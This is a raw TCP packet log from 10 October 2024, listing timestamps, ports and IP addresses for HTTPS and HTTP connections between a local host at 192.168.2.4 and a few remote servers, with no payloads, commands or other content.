Oct 10, 2024 10:14:10.349572897 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.349584103 CEST	64816	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.349589109 CEST	443	64816	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.352575064 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.352612972 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.352745056 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.352931976 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.352942944 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.380917072 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.381205082 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.386590004 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.386665106 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.386688948 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.386702061 CEST	64817	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.386708021 CEST	443	64817	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.389298916 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.389395952 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.390459061 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.390619993 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.390671015 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.456585884 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.456698895 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.457166910 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.457174063 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.457438946 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.457443953 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.751477003 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.751636982 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.751720905 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.751720905 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.751720905 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.751720905 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.751743078 CEST	443	64818	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:10.753310919 CEST	64818	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:10.787481070 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.787990093 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.788002014 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.788464069 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.788469076 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.897803068 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.897958994 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.898015022 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.898205042 CEST	64819	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.898221970 CEST	443	64819	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.901765108 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.901870012 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.902194023 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.902401924 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.902434111 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.903068066 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.903410912 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.903429985 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.905051947 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:10.905056953 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:10.975343943 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:10.980549097 CEST	80	64825	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:10.980906963 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:10.980906963 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:10.985868931 CEST	80	64825	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:11.008900881 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.009601116 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.009617090 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.010205030 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.010210037 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.015949965 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.015996933 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.016057968 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.016148090 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.016334057 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.016334057 CEST	64821	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.016347885 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.016355038 CEST	443	64821	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.019217968 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.019264936 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.019402981 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.019529104 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.019548893 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.058594942 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.059954882 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.059989929 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.060379028 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.060385942 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.115827084 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.115914106 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.115978003 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.116213083 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.116231918 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.116240978 CEST	64822	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.116245985 CEST	443	64822	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.119028091 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.119116068 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.119198084 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.119359016 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.119407892 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.173280954 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.173309088 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.173343897 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.173392057 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.173429966 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.173582077 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.173582077 CEST	64823	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.173607111 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.173624039 CEST	443	64823	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.175821066 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.175863028 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.175946951 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.176068068 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.176080942 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.502170086 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.505737066 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.505799055 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.506211996 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.506227016 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.612982988 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.613153934 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.613399982 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.620542049 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.620588064 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.620609045 CEST	64824	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.620620012 CEST	443	64824	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.679769993 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.685523987 CEST	80	64825	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:11.685801029 CEST	80	64825	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:11.685918093 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:11.689907074 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.689923048 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.693181038 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.693192005 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.693366051 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.693423033 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.693485975 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.696656942 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.696675062 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.703701973 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:11.703701973 CEST	64825	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:11.774497032 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.796010971 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.796047926 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.796093941 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.796137094 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.796195030 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.821232080 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.821268082 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.821352959 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.821381092 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.821423054 CEST	64826	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.821432114 CEST	443	64826	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.821711063 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.821719885 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.858155966 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.901328087 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.906069994 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.924338102 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.924711943 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:11.924796104 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:11.970293999 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.145991087 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.146012068 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.146640062 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.146646023 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.146997929 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.147031069 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.147355080 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.147361040 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.147537947 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.147582054 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.147600889 CEST	64827	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.147609949 CEST	443	64827	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.150273085 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.150329113 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.150486946 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.150605917 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.150623083 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.161802053 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.161828041 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.162187099 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.163069963 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.163079023 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.247929096 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.248011112 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.248081923 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.249963999 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.251234055 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.254561901 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.264115095 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.264132977 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.264147997 CEST	64828	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.264153957 CEST	443	64828	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.271807909 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.271847963 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.271868944 CEST	64820	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.271878004 CEST	443	64820	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.273786068 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.275505066 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.275536060 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.275599957 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.276220083 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.276237965 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.278661966 CEST	80	64832	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:12.278692961 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.278704882 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.278729916 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.278755903 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.278886080 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.278898954 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.279422045 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.284172058 CEST	80	64832	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:12.354227066 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.354880095 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.354923010 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.355426073 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.355434895 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.612395048 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.612560034 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.612626076 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.612752914 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.612782001 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.612795115 CEST	64829	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.612803936 CEST	443	64829	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.615756989 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.615817070 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.615978003 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.616162062 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.616177082 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.811939001 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.812480927 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.812517881 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.812961102 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.812968969 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.843321085 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.843830109 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.843888044 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.844270945 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.844275951 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.919591904 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.919677973 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.919732094 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.919755936 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.919831991 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.919985056 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.920036077 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.920067072 CEST	64830	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.920083046 CEST	443	64830	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.922703028 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.922753096 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.922828913 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.922981024 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.922986984 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.928026915 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.928361893 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.928399086 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.928766966 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.928774118 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.934922934 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.935379982 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.935394049 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.935622931 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.935628891 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.959422112 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.959511995 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.959583044 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.959717989 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.959734917 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.959744930 CEST	64831	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.959749937 CEST	443	64831	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.962481976 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.962568045 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.962649107 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.962816000 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:12.962846994 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:12.981256008 CEST	80	64832	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:12.981276989 CEST	80	64832	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:12.981348991 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.981386900 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.984848022 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:12.984874964 CEST	64832	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.035676003 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.035780907 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.035828114 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.036005974 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.036027908 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.036050081 CEST	64833	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.036056995 CEST	443	64833	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.038693905 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.038737059 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.038837910 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.038976908 CEST	64838	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.038999081 CEST	443	64838	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.045121908 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.045286894 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.045351028 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.045384884 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.045384884 CEST	64834	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.045408010 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.045418978 CEST	443	64834	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.047605038 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.047642946 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.047703981 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.047868013 CEST	64839	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.047879934 CEST	443	64839	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.240453959 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.245397091 CEST	80	64840	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:13.245479107 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.247900963 CEST	64840	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:13.252679110 CEST	80	64840	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:13.289374113 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.290864944 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.290946007 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.291865110 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.291881084 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.397315979 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.397404909 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.397455931 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.397634029 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.397660971 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.397676945 CEST	64835	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.397686005 CEST	443	64835	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.400831938 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.400880098 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.400932074 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.401072979 CEST	64841	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.401084900 CEST	443	64841	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.588426113 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.588918924 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.588954926 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.589436054 CEST	64836	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.589447975 CEST	443	64836	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.617908001 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.618406057 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.618454933 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.618866920 CEST	64837	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:13.618875027 CEST	443	64837	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:13.698928118 CEST	443	64836	13.107.253.45	192.168.2.4
